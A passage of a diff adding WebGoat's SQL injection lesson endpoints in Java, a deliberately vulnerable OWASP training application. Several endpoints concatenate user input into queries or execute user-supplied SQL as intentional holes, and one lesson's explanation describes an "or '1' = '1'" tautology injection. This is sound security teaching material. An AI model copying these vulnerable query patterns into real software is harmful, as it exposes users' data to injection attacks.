.output(YOUR_QUERY_WAS + query) + .build(); + } + } catch (SQLException sqle) { + return failed(this).output(sqle.getMessage() + YOUR_QUERY_WAS + query).build(); + } + } catch (Exception e) { + return failed(this) + .output(this.getClass().getName() + " : " + e.getMessage() + YOUR_QUERY_WAS + query) + .build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6b.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6b.java new file mode 100644 index 000000000..5cf42437f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6b.java @@ -0,0 +1,80 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import java.io.IOException; +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class SqlInjectionLesson6b extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson6b(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjectionAdvanced/attack6b") + @ResponseBody + public AttackResult completed(@RequestParam String userid_6b) throws IOException { + if (userid_6b.equals(getPassword())) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + protected String getPassword() { + String password = "dave"; + try (Connection connection = dataSource.getConnection()) { + String query = "SELECT password FROM user_system_data WHERE user_name = 'dave'"; + try { + Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery(query); + + if (results != null && results.first()) { + password = results.getString("password"); + } + } catch (SQLException sqle) { + sqle.printStackTrace(); + // do nothing + } + } catch (Exception e) { + e.printStackTrace(); + // do nothing + } + return (password); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionQuiz.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionQuiz.java new file mode 100644 index 000000000..e7c03139a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionQuiz.java @@ -0,0 +1,87 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import java.io.IOException; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * add a question: 1. Append new question to JSON string 2. add right solution to solutions array 3. + * add Request param with name of question to method head For a more detailed description how to + * implement the quiz go to the quiz.js file in webgoat-container -> js + */ +@RestController +public class SqlInjectionQuiz extends AssignmentEndpoint { + + String[] solutions = {"Solution 4", "Solution 3", "Solution 2", "Solution 3", "Solution 4"}; + boolean[] guesses = new boolean[solutions.length]; + + @PostMapping("/SqlInjectionAdvanced/quiz") + @ResponseBody + public AttackResult completed( + @RequestParam String[] question_0_solution, + @RequestParam String[] question_1_solution, + @RequestParam String[] question_2_solution, + @RequestParam String[] question_3_solution, + @RequestParam String[] question_4_solution) + throws IOException { + int correctAnswers = 0; + + String[] givenAnswers = { + question_0_solution[0], + question_1_solution[0], + question_2_solution[0], + question_3_solution[0], + question_4_solution[0] + }; + + for (int i = 0; i < solutions.length; i++) { + if (givenAnswers[i].contains(solutions[i])) { + // answer correct + correctAnswers++; + guesses[i] = true; + } else { + // answer incorrect + guesses[i] = false; + } + } + + if (correctAnswers == solutions.length) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + @GetMapping("/SqlInjectionAdvanced/quiz") + @ResponseBody + public boolean[] getResults() { + return this.guesses; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjection.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjection.java new file mode 100644 index 000000000..a8f68f0f6 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjection.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class SqlInjection extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A3; + } + + @Override + public String getTitle() { + return "1.sql.injection.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson10.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson10.java new file mode 100644 index 000000000..55f802116 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson10.java @@ -0,0 +1,128 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint.10.1", + "SqlStringInjectionHint.10.2", + "SqlStringInjectionHint.10.3", + "SqlStringInjectionHint.10.4", + "SqlStringInjectionHint.10.5", + "SqlStringInjectionHint.10.6" + }) +public class SqlInjectionLesson10 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson10(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack10") + @ResponseBody + public AttackResult completed(@RequestParam String action_string) { + return injectableQueryAvailability(action_string); + } + + protected AttackResult injectableQueryAvailability(String action) { + StringBuilder output = new StringBuilder(); + String query = "SELECT * FROM access_log WHERE action LIKE '%" + action + "%'"; + + try (Connection connection = dataSource.getConnection()) { + try { + Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery(query); + + if (results.getStatement() != null) { + results.first(); + output.append(SqlInjectionLesson8.generateTable(results)); + return failed(this) + .feedback("sql-injection.10.entries") + .output(output.toString()) + .build(); + } else { + if (tableExists(connection)) { + return failed(this) + .feedback("sql-injection.10.entries") + .output(output.toString()) + .build(); + } else { + return success(this).feedback("sql-injection.10.success").build(); + } + } + } catch (SQLException e) { + if (tableExists(connection)) { + return failed(this) + .output( + "
" + + output.toString()) + .build(); + } else { + return success(this).feedback("sql-injection.10.success").build(); + } + } + + } catch (Exception e) { + return failed(this) + .output("") + .build(); + } + } + + private boolean tableExists(Connection connection) { + try { + Statement stmt = + connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet results = stmt.executeQuery("SELECT * FROM access_log"); + int cols = results.getMetaData().getColumnCount(); + return (cols > 0); + } catch (SQLException e) { + String errorMsg = e.getMessage(); + if (errorMsg.contains("object not found: ACCESS_LOG")) { + return false; + } else { + System.err.println(e.getMessage()); + return false; + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson2.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson2.java new file mode 100644 index 000000000..5540f31a4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson2.java @@ -0,0 +1,81 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import static java.sql.ResultSet.CONCUR_READ_ONLY; +import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint2-1", + "SqlStringInjectionHint2-2", + "SqlStringInjectionHint2-3", + "SqlStringInjectionHint2-4" + }) +public class SqlInjectionLesson2 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson2(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack2") + @ResponseBody + public AttackResult completed(@RequestParam String query) { + return injectableQuery(query); + } + + protected AttackResult injectableQuery(String query) { + try (var connection = dataSource.getConnection()) { + Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery(query); + StringBuilder output = new StringBuilder(); + + results.first(); + + if (results.getString("department").equals("Marketing")) { + output.append(""); + output.append(SqlInjectionLesson8.generateTable(results)); + return success(this).feedback("sql-injection.2.success").output(output.toString()).build(); + } else { + return failed(this).feedback("sql-injection.2.failed").output(output.toString()).build(); + } + } catch (SQLException sqle) { + return failed(this).feedback("sql-injection.2.failed").output(sqle.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson3.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson3.java new file mode 100644 index 000000000..f34c9302d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson3.java @@ -0,0 +1,84 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import static java.sql.ResultSet.CONCUR_READ_ONLY; +import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints(value = {"SqlStringInjectionHint3-1", "SqlStringInjectionHint3-2"}) +public class SqlInjectionLesson3 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson3(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack3") + @ResponseBody + public AttackResult completed(@RequestParam String query) { + return injectableQuery(query); + } + + protected AttackResult injectableQuery(String query) { + try (Connection connection = dataSource.getConnection()) { + try (Statement statement = + connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) { + Statement checkStatement = + connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY); + statement.executeUpdate(query); + ResultSet results = + checkStatement.executeQuery("SELECT * FROM employees WHERE last_name='Barnett';"); + StringBuilder output = new StringBuilder(); + // user completes lesson if the department of Tobi Barnett now is 'Sales' + results.first(); + if (results.getString("department").equals("Sales")) { + output.append(""); + output.append(SqlInjectionLesson8.generateTable(results)); + return success(this).output(output.toString()).build(); + } else { + return failed(this).output(output.toString()).build(); + } + + } catch (SQLException sqle) { + return failed(this).output(sqle.getMessage()).build(); + } + } catch (Exception e) { + return failed(this).output(this.getClass().getName() + " : " + e.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson4.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson4.java new file mode 100644 index 000000000..2299becc4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson4.java @@ -0,0 +1,80 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import static java.sql.ResultSet.CONCUR_READ_ONLY; +import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = {"SqlStringInjectionHint4-1", "SqlStringInjectionHint4-2", "SqlStringInjectionHint4-3"}) +public class SqlInjectionLesson4 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson4(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack4") + @ResponseBody + public AttackResult completed(@RequestParam String query) { + return injectableQuery(query); + } + + protected AttackResult injectableQuery(String query) { + try (Connection connection = dataSource.getConnection()) { + try (Statement statement = + connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) { + statement.executeUpdate(query); + connection.commit(); + ResultSet results = statement.executeQuery("SELECT phone from employees;"); + StringBuilder output = new StringBuilder(); + // user completes lesson if column phone exists + if (results.first()) { + output.append(""); + return success(this).output(output.toString()).build(); + } else { + return failed(this).output(output.toString()).build(); + } + } catch (SQLException sqle) { + return failed(this).output(sqle.getMessage()).build(); + } + } catch (Exception e) { + return failed(this).output(this.getClass().getName() + " : " + e.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5.java new file mode 100644 index 000000000..32db401fa --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5.java @@ -0,0 +1,108 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import javax.annotation.PostConstruct; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint5-1", + "SqlStringInjectionHint5-2", + "SqlStringInjectionHint5-3", + "SqlStringInjectionHint5-4" + }) +public class SqlInjectionLesson5 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson5(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostConstruct + public void createUser() { + // HSQLDB does not support CREATE USER with IF NOT EXISTS so we need to do it in code (using + // DROP first will throw error if user does not exists) + try (Connection connection = dataSource.getConnection()) { + try (var statement = + connection.prepareStatement("CREATE USER unauthorized_user PASSWORD test")) { + statement.execute(); + } + } catch (Exception e) { + // user already exists continue + } + } + + @PostMapping("/SqlInjection/attack5") + @ResponseBody + public AttackResult completed(String query) { + createUser(); + return injectableQuery(query); + } + + protected AttackResult injectableQuery(String query) { + try (Connection connection = dataSource.getConnection()) { + try (Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) { + statement.executeQuery(query); + if (checkSolution(connection)) { + return success(this).build(); + } + return failed(this).output("Your query was: " + query).build(); + } + } catch (Exception e) { + return failed(this) + .output( + this.getClass().getName() + " : " + e.getMessage() + "
Your query was: " + query) + .build(); + } + } + + private boolean checkSolution(Connection connection) { + try { + var stmt = + connection.prepareStatement( + "SELECT * FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES WHERE TABLE_NAME = ? AND GRANTEE =" + + " ?"); + stmt.setString(1, "GRANT_RIGHTS"); + stmt.setString(2, "UNAUTHORIZED_USER"); + var resultSet = stmt.executeQuery(); + return resultSet.next(); + } catch (SQLException throwables) { + return false; + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5a.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5a.java new file mode 100644 index 000000000..59a29ff10 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5a.java @@ -0,0 +1,136 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import java.sql.*; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints(value = {"SqlStringInjectionHint5a1"}) +public class SqlInjectionLesson5a extends AssignmentEndpoint { + + private static final String EXPLANATION = + "
Explanation: This injection works, because or '1' =" + + " '1' always evaluates to true (The string ending literal for '1 is closed by" + + " the query itself, so you should not inject it). So the injected query basically looks" + + " like this: SELECT * FROM user_data WHERE" + + " first_name = 'John' and last_name = '' or TRUE, which will always evaluate to" + + " true, no matter what came before it."; + private final LessonDataSource dataSource; + + public SqlInjectionLesson5a(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/assignment5a") + @ResponseBody + public AttackResult completed( + @RequestParam String account, @RequestParam String operator, @RequestParam String injection) { + return injectableQuery(account + " " + operator + " " + injection); + } + + protected AttackResult injectableQuery(String accountName) { + String query = ""; + try (Connection connection = dataSource.getConnection()) { + query = + "SELECT * FROM user_data WHERE first_name = 'John' and last_name = '" + accountName + "'"; + try (Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) { + ResultSet results = statement.executeQuery(query); + + if ((results != null) && (results.first())) { + ResultSetMetaData resultsMetaData = results.getMetaData(); + StringBuilder output = new StringBuilder(); + + output.append(writeTable(results, resultsMetaData)); + results.last(); + + // If they get back more than one user they succeeded + if (results.getRow() >= 6) { + return success(this) + .feedback("sql-injection.5a.success") + .output("Your query was: " + query + EXPLANATION) + .feedbackArgs(output.toString()) + .build(); + } else { + return failed(this).output(output.toString() + "
Your query was: " + query).build(); + } + } else { + return failed(this) + .feedback("sql-injection.5a.no.results") + .output("Your query was: " + query) + .build(); + } + } catch (SQLException sqle) { + return failed(this).output(sqle.getMessage() + "
Your query was: " + query).build(); + } + } catch (Exception e) { + return failed(this) + .output( + this.getClass().getName() + " : " + e.getMessage() + "
Your query was: " + query) + .build(); + } + } + + public static String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) + throws SQLException { + int numColumns = resultsMetaData.getColumnCount(); + results.beforeFirst(); + StringBuilder t = new StringBuilder(); + t.append("

"); + + if (results.next()) { + for (int i = 1; i < (numColumns + 1); i++) { + t.append(resultsMetaData.getColumnName(i)); + t.append(", "); + } + + t.append("
"); + results.beforeFirst(); + + while (results.next()) { + + for (int i = 1; i < (numColumns + 1); i++) { + t.append(results.getString(i)); + t.append(", "); + } + + t.append("
"); + } + + } else { + t.append("Query Successful; however no data was returned from this query."); + } + + t.append("

"); + return (t.toString()); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5b.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5b.java new file mode 100644 index 000000000..20225384f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5b.java @@ -0,0 +1,135 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import java.io.IOException; +import java.sql.*; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint5b1", + "SqlStringInjectionHint5b2", + "SqlStringInjectionHint5b3", + "SqlStringInjectionHint5b4" + }) +public class SqlInjectionLesson5b extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson5b(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/assignment5b") + @ResponseBody + public AttackResult completed( + @RequestParam String userid, @RequestParam String login_count, HttpServletRequest request) + throws IOException { + return injectableQuery(login_count, userid); + } + + protected AttackResult injectableQuery(String login_count, String accountName) { + String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName; + try (Connection connection = dataSource.getConnection()) { + PreparedStatement query = + connection.prepareStatement( + queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + + int count = 0; + try { + count = Integer.parseInt(login_count); + } catch (Exception e) { + return failed(this) + .output( + "Could not parse: " + + login_count + + " to a number" + + "
